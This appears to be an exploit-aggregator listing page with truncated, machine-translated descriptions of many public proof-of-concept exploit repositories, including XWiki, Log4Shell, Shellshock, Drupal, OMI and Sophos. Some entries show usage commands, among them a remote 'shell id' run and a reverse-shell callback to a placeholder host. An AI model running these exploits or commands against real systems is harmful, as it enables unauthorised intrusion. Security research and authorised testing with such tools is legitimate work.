CVE-2025-24893

XWiki CVE-2025-24893 प्रूफ ऑफ कॉन्सेप्ट लेखक : Net.Doge & Infinit3i यह Python स्क्रिप्ट CVE-2025-24893 का शोषण करती है, जो XWiki में एक रिमोट कोड निष्पादन RCE भेद्यता है, जो Groovy मैक्रोज़ में अनुचित सैंडबॉक्सिंग के कारण उत्पन्न होती है, जिन्हें एसिंक्रोनस रूप से रेंडर किया जाता है। यह RSS-आधारि...

CVE-2025-55182-React2Shell-Async-Scanner

⚡ React2Shell CVE-2025-55182 / CVE-2025-66478 - एसिंक्रोनस RCE स्कैनर प्रोटोटाइप-प्रदूषण → React सर्वर क्रियाओं के माध्यम से रिमोट कोड निष्पादन एसिंक्रोनस, संस्करण-प्रथम, आउटपुट-आधारित कैनरी पहचान - कोई अंधा अनुमान नहीं !WARNING केवल अधिकृत सुरक्षा अनुसंधान और प्रवेश परीक्षण के लिए। स्पष्ट लिखित...

nmap-spring4shell

Nmap-spring4shell Log4shell-nmap è uno script NSE per rilevare vulnerabilità RCE di Spring4Shell CVE-2022-22965 nei servizi HTTP. Lo script inietta il payload corretto nell'applicazione e poi esegue il seguente comando sull'endpoint specificato. Vulnerabilità Vedi qui. Utilizzo root@kitploit:...

sk-cve-2026-26030-lab

CVE-2026-26030 — RCE dell'eval del filtro di Semantic Kernel lab Un laboratorio autonomo che riproduce CVE-2026-26030 : esecuzione remota di codice iniettabile tramite prompt attraverso il filtro di ricerca dello store vettoriale in memoria di Microsoft Semantic Kernel Python, Solo per lab etico...

CVE-2026-33017-Langflow-RCE

CVE-2026-33017 - Langflow RCE-Schwachstelle xpl0ited von infrar3d Dieses Proof-of-Concept-Exploit zielt auf eine kritische Remote Code Execution RCE-Schwachstelle in Langflow-Versionen vor 1.9.0 ab. Die Schwachstelle ermöglicht es nicht authentifizierten Angreifern, beliebige Systembefehle...

CVE-2025-55182-React2Shell

CVE-2025-55182-React2Shell xpl0itata da infrar3d Una vulnerabilità di gravità critica 10.0 che colpisce l'uso lato server di React.js, tracciata come CVE-2025-55182 in React.js e CVE-2025-66478 specificamente per il framework Next.js. Questa vulnerabilità è stata divulgata in modo responsabile da...

CVE-2014-6271-Shellshock

CVE-2014-6271 Shellshock xpl0ited da infrar3d Questo repository contiene un exploit proof-of-concept per CVE-2014-6271 Shellshock. Shellshock è una vulnerabilità critica in GNU Bash in cui variabili d'ambiente appositamente create consentono l'esecuzione arbitraria di comandi. Quando un server we...

CVE-2025-4322-Exploit

CVE-2025-4322 - Modifica della password non verificata CWE-620 Exploit: Scarica qui Dettagli CVE ID : CVE-2025-4322 Pubblicato : 05/20/2025 Impatto : Critico CVSS : 9.8 Patch disponibile: Nessuna patch ufficiale al momento Impatto Vulnerabilità di gravità critica che consente agli aggressori di...

vsftpd-cve-2011-2523-lab

Sfruttamento del backdoor VSFTPD 2.3.4 CVE-2011-2523 Un laboratorio pratico di penetration testing che dimostra l'identificazione e lo sfruttamento del backdoor VSFTPD 2.3.4 CVE-2011-2523 sulla macchina virtuale intenzionalmente vulnerabile Metasploitable2 utilizzando il Metasploit Framework...

CVE-2023-51467

CVE-2023-51467 exp.py geändert zu Befehl Ausführung Post.txt Serialisierungs-Schwachstellen Ausnutzung bypassauth.txt Authentifizierungsumgehungstest Schwachstellengrund Da bei der Authentifizierungsprüfung fälschlicherweise null verwendet wurde, um eine Bedingung zu prüfen, hatte diese Methode...

WordPress GiveWP plugin <= 4.16.7.1 - Remote Code Execution (RCE) vulnerability

Remote Code Execution RCE vulnerability discovered by Udin Chan in WordPress Plugin GiveWP versions = 4.16.7.1...

CVE-2023-27326

Escape de VM do Parallels Desktop Este repositório contém um exploit para uma vulnerabilidade do Parallels Desktop à qual foi atribuído o CVE-2023-27326. Esta vulnerabilidade permite que atacantes locais elevem privilégios em instalações afetadas do Parallels Desktop. O exploit foi testado na...

cve-2021-38647

cve-2021-38647 Ein PoC-Exploit für CVE-2021-38647 RCE in OMI. Führe einen einzelnen Befehl mit ExecuteShellCommand auf dem standardmäßigen HTTPS-Port aus: root@kitploit: python cve-2021-38647.py -s 10.10.10.10 shell id Führe einen einzelnen Befehl mit ExecuteShellCommand auf dem standardmäßigen...

sophucked

sophucked CVE-2020-25223 RCE PoC، يحصل على شيل عكسي. بدون مصادقة. تم تنفيذه بسرعة لأنه كان مطلوبًا لتوحيد بعض مغناطيس التهديدات. مثال الاستخدام: root@kitploit: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + starting handler on port 80 + Sending callback to x.x.x.x:80 + connection from...

CVE-2018-7600-Drupal-0day-RCE

CVE-2018-7600-Drupal-0day-RCE Esecuzione di codice PHP remoto 0day di Drupal Perl Questo è un exploit RCE 0day in Drupal CMS Puoi caricare il payload sul server. CVE : CVE-2018-7600 Cxsecurity : https://cxsecurity.com/issue/WLB-2018040108 Come eseguire l'exploit : 1-git clone...

vulnerable-PDF

vulnerable-PDF = Salaries.pdf - modalità sviluppo: 08.10.2022 NOTA: Questo è solo per test e puoi aprire solo una calcolatrice, il programma integrato di Microsoft. = Oppure puoi usare il file PDF per scaricare calc.exe in una directory vietata :D ATTENZIONE! Solo per test e formazione =...

CVE-2021-44228

Log4Shell POC CVE-2021-44228 Lo scopo di questo repository è fornire tutti i componenti necessari per sfruttare CVE-2021-44228, soprannominata Log4Shell, e mostrare come sfruttarla. Gli ingredienti necessari per sfruttare questa vulnerabilità sono i seguenti: 1. Un server LDAP che reindirizzerà...

lab-cve-2025-57819

Lavori in corso FreePBX CVE-2025-57819 Lab - SQLi non autenticata → Catena RCE Nuclei POC Avvia un laboratorio FreePBX 15 riproducibile Docker per validare CVE-2025-57819 — una critica SQL injection non autenticata negli endpoint AJAX di userman che può essere concatenata per ottenere RCE. Includ...

CVE-2021-42013-Apache-RCE-Poc-Exp

Nome della vulnerabilità Apache Esecuzione remota di codice CVE-2021-42013 Descrizione della vulnerabilità Apache HTTP Server è un server web open source della Apache Software Foundation. Il server è veloce, affidabile e può essere esteso tramite una semplice API. È stato riscontrato che la...

struts2-rce

Demo dell'exploit per CVE-2017-5638 Completamente basato su https://github.com/piesecurity/apache-struts2-CVE-2017-5638 Utilizzo: Prerequisiti: avere python, docker, maven e un jdk installati 1. clona questo repository 2. esegui mvn clean package nella root del progetto 3. esegui docker build -t...